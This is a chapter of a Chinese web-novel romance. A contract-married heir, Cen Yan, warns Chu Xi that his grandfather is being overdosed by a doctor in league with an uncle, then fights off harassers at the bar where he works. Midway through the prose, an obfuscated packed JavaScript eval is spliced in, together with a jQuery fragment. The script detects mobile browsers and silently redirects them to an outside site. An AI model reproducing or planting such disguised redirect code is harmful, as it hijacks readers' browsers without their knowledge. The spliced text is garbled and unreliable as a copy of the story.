储曦一路上眼不是眼,鼻子不是鼻子,岑延也没主动去触他的霉头。
两人一路无话,来到储曦住的公寓。
大门是指纹密码锁,储曦臭着脸开锁,一进屋就换鞋自顾自地坐到沙发上,开电视,没管岑延。
岑延站在玄关处,看到鞋架上七歪八斜的鞋子,皱了下眉,上前把乱糟糟的鞋子一一摆好。
最后拿过最底下的一双没拆开的拖鞋。
“我暂时先用一下你的拖鞋,等会儿出去买。”
岑延穿着小一号略显局促的拖鞋进门,一眼又看到沙发上乱扔的抱枕,以及茶几上凌乱的啤酒易拉和未处理的烟灰缸。
他的眉头又皱了起来,走过去把抱枕端正摆好,把易拉罐扔进垃圾桶,拿着烟灰缸进了卫生间。
“哼,装什么装。”储曦看到他紧皱嫌弃的眉头,不爽地伸腿把抱枕踢乱。
于是,岑延出来的时候,就看到刚整理好的抱枕又乱了。
他瞥了眼悠闲躺在沙发上的人一眼,见他神色挑衅,嘴角抽了抽。
他再次把抱枕端正摆好,便没再管了,转身去拿刚才买的小夜灯。
岑延在客厅墙上的插座上插上小夜灯,光感应,等天黑了它会自动亮起来。
“你的房间是哪个?我帮你把这个灯插上。”岑延问道。
“我说了不要这种垃圾。”储曦脸上流露不耐,神色逐渐冷了下来,“别以为我允许你住进来,你就可以干涉我。我劝你你最好认清自己的身份,我们只是合作关系。”
“如果合作上的事情你有半句假话,我会让你死得很惨!”
“说清楚,你是怎么知道爷爷的事情?你都知道些什么?”
岑延神色无奈,在他对面的沙发坐下,“前些天我在医院无意中听到你大伯储康成和林医生的谈话,才知道了他们的阴谋。”
“哪个林医生?”储曦皱眉。
“就是昨天晚上给你爷爷做手术的那个人。”
“他们谈了什么?”储曦眉头皱得更紧了。
他想不出林叔会跟储康成谈什么。
“我听到你大伯让林医生加快动作,给你爷爷加大药物用量。林医生说太冒险了,用的太多说不定会被发现,到时候他们都得完蛋。”岑延神色正经认真起来。
“不可能!”储曦下意识反驳。
“林叔不可能背叛爷爷!”
“我听到的就是这样,你要是不信,可以让储爷爷避开他们,私底下做个检查。”岑延知道他不会凭他的几句话就轻易地相信。
因为那个林医生颇得储爷爷的信任,他是由老爷子资助上学的孤儿,老爷子把他当个懂事的后背看待。曾经林医生确实很感激,真心实意地对老爷子尊敬。
这些年来老爷子的身体检查都是由他负责,从来没有出过差错。
也正是因为这个,老爷子身体检查的报告都由他负责,哪怕他暗地里做手脚也不会有人发现。
可人是会变的。
“我听到你大伯说只要林医生帮他做成这件事,他就会给林医生的妹妹名分,把她娶回去当光明正大的储太太。”岑延提醒道。
林医生从小是孤儿,后来发现自己还有个妹妹,妹妹是储康成的情人。所以他为了这个有血缘关系的亲人,背叛了曾经的恩人。
果然,储曦听到林医生居然还有个亲妹妹,脸色瞬间变了,眼里染上寒霜。
难怪爷爷最近几次晕倒,都没有检查出什么问题,只说是因为操劳过度导致,需要好好休养生息。
不过储曦也没有立马就信了,到底是不是真的,一切都需要等他调查后才知道。
客厅里一时间沉寂下来,储曦脸色阴沉地拧眉沉思。
岑延能告诉他的都说的差不多了,他看了眼时间,拿出手机快速给插好的小夜灯拍了几张照片,咔咔咔的声音在客厅响起。
突兀的噪音,听得储曦蹙眉。
岑延没察觉,点开小号,毫无感情地发了条动态。
【我和他一起布置爱巢,高兴。】
发完后脑海中响起机械提示音。
【恭喜宿主完成任务,奖励魅力值+1】
岑延对这奇怪的奖励没什么实感,他没太在意,收起手机准备出门。
“没什么问题,我先出去了。”他得赶紧去找份兼职。
储曦连个眼神都没给他,仿佛没有听见他的话。
岑延打开手机搜索,来到了A市有名的酒吧街,找了家看起来最豪华的酒吧,跟经理应聘晚上卖酒的兼职。
他打算先在酒吧里做半个月,主要卖酒提成高,来钱快,工资日结,最适合缺钱过渡的时候。
老板看他长得这么帅,以前又有过卖酒经验,简单考查一下就答应了让他来兼职。
晚上八点,岑延换上侍应生的工作服,开始工作。
让他没想到的是,工作没一会儿,他就碰见了储曦和他那群朋友。
“哟,这不是岑少吗?”
有人眯着眼睛认出了他,众人顺着他的视线看过去,盯了一会儿,都一脸见了鬼的样子。
“岑少这是脑子坏了,还是说被岑家扫地出门,落魄到要来酒吧打工?”
“不过你这身穷酸打工仔的打扮,还挺符合你的气质,听说岑少从小在乡下长大,看来穷酸味已经刻入骨子里了。”
“可不是吗?谁都知道,这野鸡永远也变不成凤凰哈哈哈……”一群人面带嘲讽地笑了起来。
人群最中央的储曦背靠着沙发椅,姿态悠闲,眉梢微挑,一脸看戏似的瞅着岑延这副打扮。
他穿着贴身的马甲和衬衫,黑色西裤包裹着挺翘的臀部,双腿笔直修长,隐约可瞥见大腿上紧实有力的肌肉。
昏暗的彩色灯光打在他脸上,勾勒出五官线条,阳刚硬朗,有种别样的锋芒感,莫名的引人注目。
岑延手上拿着客人点的酒水,正要送过去,他没打算搭理这群人。
前世,他和爷爷妹妹三个人相依为命,努力赚钱养家和赚学费,听过很多冷言冷语,早已经习惯了,也已经学会不去在意这些。
可那些人见他不说话,更加来劲了。
“怎么?岑少一言不发,这是看不起我们?”一个人起身拦住他。
“我在工作。”岑延语气淡淡,眼皮都没掀一下。
“你的工作是招待客人,难道我们不是客人吗?”那人被他这副目中无人的样子气到了,不依不饶。
“我的工作是卖酒,你没跟我点酒。”岑延觉得这人有点烦,伸手把人往旁边拨了一下。
那人被推得踉跄一下,往旁边退了几步才稳住身形不至于摔倒。他一时还没反应过来,这家伙的力气这么大?
他后知后觉地感觉胳膊有点疼,抬手摸了一下,“嘶~”
“啧,张少不行啊,拦个人都拦不住。”有人开口讥笑。
“呵,你行你上啊。”
岑延给客人送了酒回来,同事告诉他有客人点名要找他买酒。他不用想都知道是谁,顶着同事羡慕的目光过去了。
“不就是点酒吗?有什么好酒都给我拿上来!”最开始盯上岑延的赵宇目光灼灼地盯着他道。
“行,等着。”岑延点头。
有钱不赚是傻子,反正这群人钱多烧得慌。
岑延挑了几瓶口碑不错且价格昂贵的好酒,放下时,赵宇又开口了。
“我点了这么多酒,你是不是该陪客人说说话?”赵宇盯着他上下打量,眼神戏谑暗藏某种深意。
“你想说什么?”岑延对上他赤裸裸的审视目光,不着痕迹地皱了下眉。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338922|167817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“啧,我就是突然发现岑少长得真不错,身材也好,让人羡慕啊。”赵宇突然道。
“咳咳咳……”一直沉默的廖成睿突然猛地咳嗽起来。
他下意识看了眼身旁的储哥,见他面无表情的模样,心里莫名有点忐忑。
其他人不知道,但他可知道岑延刚搬去储哥家里,两人同居了啊!
赵宇这家伙喜欢玩男人的癖好,大家或多或少都知道点,现在看他这满脸荡漾的样子,八成是老毛病又犯了。
但这不是公然给储哥戴绿帽子吗?
这家伙哪里来的狗胆?
好吧,或许大家都没把岑延当成嫂子看待,甚至还想欺负他给储哥出气。
可……作为在场唯一知道真相的人,他知道事情或许不像他们想象的那样啊!
“咳咳……赵少最近有喜欢的小情人吗?我那里有几个乖巧清纯的男大,改明儿给你送去。”廖成睿赶紧开口转移话题。
“哦?有岑少这么帅吗?”赵宇目光黏在岑延身上不放。
廖成睿:“……”
他抬眸瞥了眼岑延,宽肩窄腰,大长腿笔直有力,五官端正帅气找不出瑕疵。关键是身上那股正经又清澈的气质,独一无二。
廖成睿心里暗暗震惊,岑延这家伙居然这么帅吗?
“哈哈。”廖成睿干笑,“那肯定是没有的,岑少可是储哥的……伴侣,说起来我们还得喊一声嫂子,哪是其他小花小草能比的?”
众人:“???”
你在说什么鬼话?
他们下意识转头看向最中央沙发上的人,储哥从刚才开始就不发一言,一副乐得看戏的姿态,他们觉得这是默许的意思。
他根本没把这门笑话般的联姻放在眼里。
可现在廖成睿突然说出这种话,他是什么意思?
要知道他们这群人里面,就属廖成睿跟储哥走得最近。
“什么嫂子,你在胡说八道什么?”岑延盯着廖成睿,眉头紧皱。
“就是,胡说八道什么!”赵宇见储哥没说什么,放下心来。
他抬手搭上岑延的肩膀,笑了笑,意味深长道,“岑少坐下来喝几杯,消消气。”
岑延看着他的笑容,总觉得有点莫名其妙的油腻。他反手抓住对方的手臂一拧,直接把对方制住。
“别动手动脚,我们不熟。”
“啊啊啊痛!”赵宇嗷嗷叫,弓着身子不能动,一张脸痛苦得扭曲成了苦瓜。
“岑延你别太过分。”
旁边沙发上有跟赵宇关系好的人起身帮忙,伸手想推岑延。
岑延推开手上的人,赵宇一屁股墩摔在地上,抬脚踹了另一个人,把人踹进了沙发里。
其他人目瞪口呆地看着他这利落的动作,有点懵逼,岑延这家伙这么厉害吗?
他不是只会在暗地里搞小动作,是只阴暗爬行的臭虫吗?
储曦唇角无意识扬了扬,抬手端起桌面的酒杯,仰头一口喝了。
他早就发现岑延的力气很大,这些弱鸡凑上去可不就是送上门找揍吗?
“行了,想打架滚出去外面,别在这里碍老子的眼。”
储曦一发话,众人顿时老实了,哪怕心里再不甘,不敢再生是非。
岑延见没他什么事了,转身离开。
廖成睿默默缩在沙发里,心情复杂复杂到了极点,只觉得自己似乎发现了什么了不得的真相。
很想找人说说,又怕被储哥杀人灭口。
一晚上,岑延业绩不错,拿了近两千的提成。
临下班的时候,廖成睿突然把喝得醉醺醺的储曦带到了他的面前,一把推给他后拔腿就跑,跟后面有鬼撵他似的。
“储哥醉了,你好好照顾他!”
岑延:“???”